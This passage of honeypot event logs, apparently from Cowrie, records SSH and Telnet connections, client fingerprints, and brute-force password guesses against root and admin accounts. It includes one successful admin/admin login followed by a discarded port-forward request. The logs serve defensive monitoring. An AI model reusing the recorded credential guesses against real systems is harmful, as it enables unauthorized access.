AAAAB3NzaC1yc2EAAAADAQABAAACAQDgX7/QIH51qpIXqGJ/TDDiUDpAKAdFVesSqU7unj4hA4/WpsuTSLq53ddPYuX12VD/071jVKrdlsyT1iQMJaqjkscr/IO7h8Koi4wf5ugJGIVtnlRCURe36ArUYDuJdIO9jcNYeQTuztD2DHbBF8ZvKAxV/kgBd+mq2A4p7b7wqIa3eDFfBEz9H/2d8mnXCoiqebU2RyUADnJjMczeXelO85nIWWUmxCBr/qulNUSHOGjnetRvLSXIv6gD+T4DHRA2rq6SpcSBM82hpHtq7HlknnQcWrDADr2v7cubwudnzjoXO1Wj+bY1+zYMjLJiFtBKCOpUfWV9Eve9wbdiRDvgmCZRjgSY+YtbE4aV85A4txaceek73Kl1+JV4eBAE7KHCOJfAlFkPcQwaxHmAeMyXmWNTrYb7t4/1pu2SyXi29WR8IBQYz2rk7tjNiyFWTMfKYCv/ew+VT8hxuVViEs628pWL72Auv92lZXRppFoBkyUQdotIfDlJ2ZWA4eypx9CA1GExwUHv18sEgWYzeWSq61gcB5DcLjSvSd4i7tvywFXbsTOGQ/xTP/UGiF9FMt2KbVmKNYrz7YRR+6lhXf5XN+Bzentq6K74d9OdraAHKB+lAqEq/dUu7Fj/KH1M6FUSg8z1fviJW+2cVcUMF/i+cC+WI5tJaZ6JeWnwaOljNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:58:1f:a7:54:78:ca:4f:f6:41:bf:7c:2a:b6:8e:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:17.180958Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:58:1f:a7:54:78:ca:4f:f6:41:bf:7c:2a:b6:8e:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgX7/QIH51qpIXqGJ/TDDiUDpAKAdFVesSqU7unj4hA4/WpsuTSLq53ddPYuX12VD/071jVKrdlsyT1iQMJaqjkscr/IO7h8Koi4wf5ugJGIVtnlRCURe36ArUYDuJdIO9jcNYeQTuztD2DHbBF8ZvKAxV/kgBd+mq2A4p7b7wqIa3eDFfBEz9H/2d8mnXCoiqebU2RyUADnJjMczeXelO85nIWWUmxCBr/qulNUSHOGjnetRvLSXIv6gD+T4DHRA2rq6SpcSBM82hpHtq7HlknnQcWrDADr2v7cubwudnzjoXO1Wj+bY1+zYMjLJiFtBKCOpUfWV9Eve9wbdiRDvgmCZRjgSY+YtbE4aV85A4txaceek73Kl1+JV4eBAE7KHCOJfAlFkPcQwaxHmAeMyXmWNTrYb7t4/1pu2SyXi29WR8IBQYz2rk7tjNiyFWTMfKYCv/ew+VT8hxuVViEs628pWL72Auv92lZXRppFoBkyUQdotIfDlJ2ZWA4eypx9CA1GExwUHv18sEgWYzeWSq61gcB5DcLjSvSd4i7tvywFXbsTOGQ/xTP/UGiF9FMt2KbVmKNYrz7YRR+6lhXf5XN+Bzentq6K74d9OdraAHKB+lAqEq/dUu7Fj/KH1M6FUSg8z1fviJW+2cVcUMF/i+cC+WI5tJaZ6JeWnwaOljNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:17.186217Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:17.417104Z","src_ip":"210.210.155.71","session":"0d3225baf68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b04a45ea623","protocol":"telnet","message":"New connection: 152.42.224.71:54250 (10.17.0.5:23) [session: 6b04a45ea623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:28.319767Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":37442,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea2494ff480","protocol":"ssh","message":"New connection: 80.94.92.171:37442 (159.203.135.109:22) [session: fea2494ff480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:29.741047Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:29.852071Z","src_ip":"80.94.92.171","session":"fea2494ff480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.62.147.164","src_port":44664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8bb79b2fff","protocol":"telnet","message":"New connection: 167.62.147.164:44664 (10.17.0.5:23) [session: 2a8bb79b2fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:32.740122Z"}
{"eventid":"cowrie.session.closed","duration":12.49686050415039,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:45.236864Z","src_ip":"167.62.147.164","session":"2a8bb79b2fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35518,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92c298c9bfe","protocol":"telnet","message":"New connection: 152.42.224.71:35518 (10.17.0.5:23) [session: e92c298c9bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:47.283694Z"}
{"eventid":"cowrie.session.closed","duration":92.8034439086914,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:53.175455Z","src_ip":"152.42.224.71","session":"26338994e743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00087022781372,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:41:53.482044Z","src_ip":"152.42.224.71","session":"7a6ec42b692c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37705850601196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:03.696721Z","src_ip":"152.42.224.71","session":"6b04a45ea623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.70474553108215,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:29.988296Z","src_ip":"152.42.224.71","session":"e92c298c9bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":37292,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6c546316c7","protocol":"ssh","message":"New connection: 103.75.182.198:37292 (10.17.0.5:22) [session: bc6c546316c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:34.231138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:34.235936Z","src_ip":"103.75.182.198","session":"bc6c546316c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:34.481529Z","src_ip":"103.75.182.198","session":"bc6c546316c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckjybrb","message":"login attempt [root/ckjybrb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:35.218202Z","src_ip":"103.75.182.198","session":"bc6c546316c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:36.471404Z","src_ip":"103.75.182.198","session":"bc6c546316c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cc336ab9b8","protocol":"telnet","message":"New connection: 152.42.224.71:53180 (10.17.0.5:23) [session: d7cc336ab9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:42.195625Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42856,"dst_ip":"10.17.0.5","dst_port":23,"session":"acfe2f6a7d1b","protocol":"telnet","message":"New connection: 152.42.224.71:42856 (10.17.0.5:23) [session: acfe2f6a7d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:53.827845Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40052,"dst_ip":"10.17.0.5","dst_port":23,"session":"842190ab48b3","protocol":"telnet","message":"New connection: 152.42.224.71:40052 (10.17.0.5:23) [session: 842190ab48b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:42:59.153843Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":47314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f80837998a","protocol":"telnet","message":"New connection: 213.108.3.46:47314 (159.203.135.109:23) [session: c6f80837998a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:02.779389Z"}
{"eventid":"cowrie.session.closed","duration":0.01268458366394043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:02.791930Z","src_ip":"213.108.3.46","session":"c6f80837998a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.33829116821289,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:10.492011Z","src_ip":"152.42.224.71","session":"842190ab48b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.338720083236694,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:10.534251Z","src_ip":"152.42.224.71","session":"d7cc336ab9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36038,"dst_ip":"10.17.0.5","dst_port":22,"session":"335088cc13c2","protocol":"ssh","message":"New connection: 103.149.170.125:36038 (10.17.0.5:22) [session: 335088cc13c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:24.566576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:24.571735Z","src_ip":"103.149.170.125","session":"335088cc13c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:24.843650Z","src_ip":"103.149.170.125","session":"335088cc13c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaraza","message":"login attempt [root/zaraza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:25.659282Z","src_ip":"103.149.170.125","session":"335088cc13c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:26.931397Z","src_ip":"103.149.170.125","session":"335088cc13c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41712,"dst_ip":"10.17.0.5","dst_port":22,"session":"6487f7efa4b3","protocol":"ssh","message":"New connection: 103.27.238.114:41712 (10.17.0.5:22) [session: 6487f7efa4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:30.478439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:30.483911Z","src_ip":"103.27.238.114","session":"6487f7efa4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:30.756220Z","src_ip":"103.27.238.114","session":"6487f7efa4b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:31.571458Z","src_ip":"103.27.238.114","session":"6487f7efa4b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:32.846075Z","src_ip":"103.27.238.114","session":"6487f7efa4b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2b70330a199","protocol":"ssh","message":"New connection: 87.251.64.176:36378 (10.17.0.5:22) [session: c2b70330a199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:39.430183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:39.438733Z","src_ip":"87.251.64.176","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:39.535484Z","src_ip":"87.251.64.176","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:39.825570Z","src_ip":"87.251.64.176","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:39.925183Z","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:40.023328Z","src_ip":"87.251.64.176","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:40.122662Z","src_ip":"87.251.64.176","session":"c2b70330a199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55302,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d08d51c9a8","protocol":"telnet","message":"New connection: 152.42.224.71:55302 (10.17.0.5:23) [session: 66d08d51c9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:53.546539Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58584,"dst_ip":"10.17.0.5","dst_port":22,"session":"de3abceba220","protocol":"ssh","message":"New connection: 2.57.121.112:58584 (10.17.0.5:22) [session: de3abceba220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:57.929541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:57.934194Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:58.035334Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7447","message":"login attempt [admin/7447] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:58.515469Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"72D5tn","message":"login attempt [admin/72D5tn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:43:59.619821Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"711711","message":"login attempt [admin/711711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:00.725424Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"666000","message":"login attempt [admin/666000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:01.833666Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
